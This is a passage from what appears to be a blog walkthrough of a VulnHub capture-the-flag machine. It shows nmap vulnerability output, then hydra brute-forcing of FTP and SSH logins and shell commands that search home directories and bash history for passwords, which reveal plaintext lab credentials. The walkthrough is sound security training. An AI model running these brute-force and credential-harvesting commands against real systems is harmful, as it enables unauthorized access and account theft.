&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 83&lt;/span&gt;&lt;span class="cl"&gt;PORT STATE SERVICE
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 84&lt;/span&gt;&lt;span class="cl"&gt;21/tcp open ftp
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 85&lt;/span&gt;&lt;span class="cl"&gt;22/tcp open ssh
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 86&lt;/span&gt;&lt;span class="cl"&gt;80/tcp open http
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 87&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; http-slowloris-check:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 88&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; VULNERABLE:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 89&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Slowloris DOS attack
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 90&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; State: LIKELY VULNERABLE
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 91&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; IDs: CVE:CVE-2007-6750
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 92&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Slowloris tries to keep many connections to the target web server open and hold
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 93&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; them open as long as possible. It accomplishes this by opening connections to
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 94&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; the target web server and sending a partial request. By doing so, it starves
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 95&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; the http server&lt;span class="s1"&gt;&amp;#39;s resources causing Denial Of Service.&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 96&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 97&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Disclosure date: 2009-09-17
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 98&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; References:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 99&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; http://ha.ckers.org/slowloris/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;100&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_ https://cve.mitre.org/cgi-bin/cvename.cgi?name&lt;span class="o"&gt;=&lt;/span&gt;CVE-2007-6750
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;101&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_http-csrf: Couldn&lt;span class="s1"&gt;&amp;#39;t find any CSRF vulnerabilities.&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;102&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_http-stored-xss: Couldn&lt;span class="s1"&gt;&amp;#39;t find any stored XSS vulnerabilities.&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;103&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_http-dombased-xss: Couldn&lt;span class="s1"&gt;&amp;#39;t find any DOM based XSS.&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;104&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_http-vuln-cve2014-3704: ERROR: Script execution failed &lt;span class="o"&gt;(&lt;/span&gt;use -d to debug&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;105&lt;/span&gt;&lt;span class="cl"&gt;139/tcp open netbios-ssn
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;106&lt;/span&gt;&lt;span class="cl"&gt;3306/tcp open mysql
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;107&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;108&lt;/span&gt;&lt;span class="cl"&gt;Host script results:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;109&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_smb-vuln-ms10-054: &lt;span class="nb"&gt;false&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;110&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; smb-vuln-cve2009-3103:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;111&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; VULNERABLE:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;112&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; SMBv2 exploit &lt;span class="o"&gt;(&lt;/span&gt;CVE-2009-3103, Microsoft Security Advisory 975497&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;113&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; State: VULNERABLE
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;114&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; IDs: CVE:CVE-2009-3103
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;115&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Array index error in the SMBv2 protocol implementation in srv2.sys in Microsoft Windows Vista Gold, SP1, and SP2,
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;116&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Windows Server &lt;span class="m"&gt;2008&lt;/span&gt; Gold and SP2, and Windows &lt;span class="m"&gt;7&lt;/span&gt; RC allows remote attackers to execute arbitrary code or cause a
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;117&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; denial of service &lt;span class="o"&gt;(&lt;/span&gt;system crash&lt;span class="o"&gt;)&lt;/span&gt; via an &lt;span class="p"&gt;&amp;amp;&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;ampersand&lt;span class="o"&gt;)&lt;/span&gt; character in a Process ID High header field in a NEGOTIATE
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;118&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; PROTOCOL REQUEST packet, which triggers an attempted dereference of an out-of-bounds memory location,
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;119&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; aka &lt;span class="s2"&gt;&amp;#34;SMBv2 Negotiation Vulnerability.&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;120&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;121&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Disclosure date: 2009-09-08
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;122&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; References:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;123&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; https://cve.mitre.org/cgi-bin/cvename.cgi?name&lt;span class="o"&gt;=&lt;/span&gt;CVE-2009-3103
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;124&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_ http://www.cve.mitre.org/cgi-bin/cvename.cgi?name&lt;span class="o"&gt;=&lt;/span&gt;CVE-2009-3103
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;125&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; smb-vuln-regsvc-dos:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;126&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; VULNERABLE:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;127&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Service regsvc in Microsoft Windows systems vulnerable to denial of service
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;128&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; State: VULNERABLE
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;129&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; The service regsvc in Microsoft Windows &lt;span class="m"&gt;2000&lt;/span&gt; systems is vulnerable to denial of service caused by a null deference
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;130&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; pointer. This script will crash the service &lt;span class="k"&gt;if&lt;/span&gt; it is vulnerable. This vulnerability was discovered by Ron Bowes
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;131&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="k"&gt;while&lt;/span&gt; working on smb-enum-sessions.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;132&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;133&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_smb-vuln-ms10-061: &lt;span class="nb"&gt;false&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;134&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;135&lt;/span&gt;&lt;span class="cl"&gt;Nmap &lt;span class="k"&gt;done&lt;/span&gt;: &lt;span class="m"&gt;1&lt;/span&gt; IP address &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt; host up&lt;span class="o"&gt;)&lt;/span&gt; scanned in 524.65 seconds
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;136&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;137&lt;/span&gt;&lt;span class="cl"&gt;Target: http://172.168.169.129/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;138&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;139&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;[&lt;/span&gt;02:06:11&lt;span class="o"&gt;]&lt;/span&gt; Starting:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;140&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;[&lt;/span&gt;02:06:11&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="m"&gt;200&lt;/span&gt; - 4KB - /.bashrc
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;141&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;[&lt;/span&gt;02:06:11&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="m"&gt;200&lt;/span&gt; - 220B - /.bash_logout
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;142&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;[&lt;/span&gt;02:06:12&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="m"&gt;200&lt;/span&gt; - 675B - /.profile
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;143&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;144&lt;/span&gt;&lt;span class="cl"&gt;Task Completed
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The port 80 web page shows nothing.&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260314113033405.png"&gt;&lt;/p&gt;
&lt;h2 id="ftp-anonymous-login"&gt;FTP Anonymous Login
&lt;/h2&gt;&lt;p&gt;Nmap scan indicated FTP allows anonymous login. After logging in there is a &lt;code&gt;note&lt;/code&gt; file. Downloading and viewing it reveals a single sentence, as shown below.&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260314113013816.png"&gt;&lt;/p&gt;
&lt;p&gt;Three potential administrator usernames obtained, written to &lt;code&gt;user.txt&lt;/code&gt;:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;John
Elly
Harry
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260314113426941.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260314130046105.png"&gt;&lt;/p&gt;
&lt;p&gt;Connection timed out due to network latency issues mid-way. I was using a free account with only 3 hours of daily quota — no problem, we have VulnHub! Long live VulnHub!&lt;/p&gt;

 &lt;blockquote&gt;
 &lt;p&gt;&lt;a class="link" href="https://ciphersaw.me/2021/07/10/exploration-of-file-format-exception-while-vmware-loads-ovf/" target="_blank" rel="noopener"
 &gt;https://ciphersaw.me/2021/07/10/exploration-of-file-format-exception-while-vmware-loads-ovf/&lt;/a&gt;&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;p&gt;Referring to a XianZhi community article to resolve the VMware OVF import error. The target machine IP is now &lt;code&gt;172.168.169.129&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260314141841527.png"&gt;&lt;/p&gt;
&lt;p&gt;Continuing to brute-force FTP — with three usernames, at least one will crack.&lt;/p&gt;
&lt;h3 id="ftp-username-brute-force"&gt;FTP Username Brute-Force
&lt;/h3&gt;&lt;p&gt;Recommended tool: &lt;code&gt;username-anarchy&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Specifically designed to generate variants from real names — the most commonly used username wordlist generator in penetration testing.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;# Install 
git clone https://github.com/urbanadventurer/username-anarchy.git
# With proxy
git clone https://gh-proxy.org/https://github.com/urbanadventurer/username-anarchy.git
cd username-anarchy
./username-anarchy John
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Generate usernames for these three names:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Generate individually and merge&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;./username-anarchy John &amp;gt; usernames.txt
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;./username-anarchy Elly &amp;gt;&amp;gt; usernames.txt
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;./username-anarchy Harry &amp;gt;&amp;gt; usernames.txt
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Batch mode&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;./username-anarchy -i ../user.txt &amp;gt;&amp;gt; ../usernames.txt
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Deduplicate&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;sort -u usernames.txt -o usernames.txt
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;wc -l usernames.txt
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Or if full names are available (e.g. from the website), results are even better:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;./username-anarchy &lt;span class="s2"&gt;&amp;#34;John Smith&amp;#34;&lt;/span&gt; &amp;gt;&amp;gt; usernames.txt
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Use the generated usernames with hydra to brute-force:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;hydra -L usernames.txt -e nsr ftp://172.168.169.129
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The &lt;code&gt;nsr&lt;/code&gt; parameter tries: empty password, same as username, and reversed username.&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260314142905656.png"&gt;&lt;/p&gt;
&lt;p&gt;Successfully obtained a valid username and password.&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260314142953277.png"&gt;&lt;/p&gt;
&lt;p&gt;The FTP folder contains a leaked &lt;code&gt;/etc/passwd&lt;/code&gt; file.&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260314143302175.png"&gt;&lt;/p&gt;
&lt;h2 id="ssh-login-brute-force"&gt;SSH Login Brute-Force
&lt;/h2&gt;&lt;p&gt;The passwd file contains many users. Filter for users with valid login shells, then brute-force with hydra:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;cat passwd &lt;span class="p"&gt;|&lt;/span&gt; grep -v -E &lt;span class="s2"&gt;&amp;#34;nologin|false&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; cut -d &lt;span class="s2"&gt;&amp;#34;:&amp;#34;&lt;/span&gt; -f &lt;span class="m"&gt;1&lt;/span&gt; &amp;gt; ssh_user_name
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;hydra -L ssh_user_name -e nsr ssh://172.168.169.129
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260314143730634.png"&gt;&lt;/p&gt;
&lt;p&gt;Victim #2! This was very satisfying.&lt;/p&gt;
&lt;h2 id="history-command-leak"&gt;History Command Leak
&lt;/h2&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260314144001160.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260314154934866.png"&gt;&lt;/p&gt;
&lt;p&gt;After logging in, start a happy round of searching:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;ls /home/*/ -al
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;cat /home/*/.* &lt;span class="p"&gt;|&lt;/span&gt;grep pass
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;cat /home/*/.bash_history &lt;span class="p"&gt;|&lt;/span&gt; grep -v &lt;span class="nb"&gt;exit&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260314155037013.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260314150956194.png"&gt;&lt;/p&gt;
&lt;p&gt;Two more lucky victims leaked their passwords in plaintext — seriously, never type passwords directly on the command line:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;sshpass -p thisimypassword ssh JKanode@localhost
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;sshpass -p JZQuyIN5 peter@localhost
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Logging in as JKanode was useless — just cannon fodder.&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260314151304255.png"&gt;&lt;/p&gt;
&lt;h2 id="log-in-as-peter-and-escalate-directly"&gt;Log in as Peter and Escalate Directly
&lt;/h2&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260314151328934.png"&gt;&lt;/p&gt;
&lt;p&gt;This machine has multiple approaches. This is the speed-run method — it might make the machine seem trivial. But the official description says at least two ways to get a shell and at least three ways to get root. So let&amp;rsquo;s dig in and plug all the holes!&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260315102117000.png"&gt;&lt;/p&gt;
&lt;h2 id="other-methods"&gt;Other Methods
&lt;/h2&gt;&lt;p&gt;Main references:&lt;/p&gt;

 &lt;blockquote&gt;
 &lt;p&gt;&lt;a class="link" href="https://xz.aliyun.com/news/12473" target="_blank" rel="noopener"
 &gt;https://xz.aliyun.com/news/12473&lt;/a&gt;
&lt;a class="link" href="https://www.freebuf.com/vuls/343731.html" target="_blank" rel="noopener"
 &gt;https://www.freebuf.com/vuls/343731.html&lt;/a&gt;
&lt;a class="link" href="https://blog.csdn.net/2403_88668158/article/details/146487087" target="_blank" rel="noopener"
 &gt;https://blog.csdn.net/2403_88668158/article/details/146487087&lt;/a&gt;&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h3 id="ways-to-get-a-shell"&gt;Ways to Get a Shell
&lt;/h3&gt;&lt;h4 id="port-12380-web"&gt;Port 12380 Web
&lt;/h4&gt;&lt;p&gt;HTTP is useless here — you need HTTPS.&lt;/p&gt;
&lt;p&gt;Scanning the web directory reveals useful information.&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260315181937182.png"&gt;&lt;/p&gt;
&lt;h5 id="phpmyadmin-database-admin-panel"&gt;phpMyAdmin Database Admin Panel
&lt;/h5&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260315182331043.png"&gt;&lt;/p&gt;
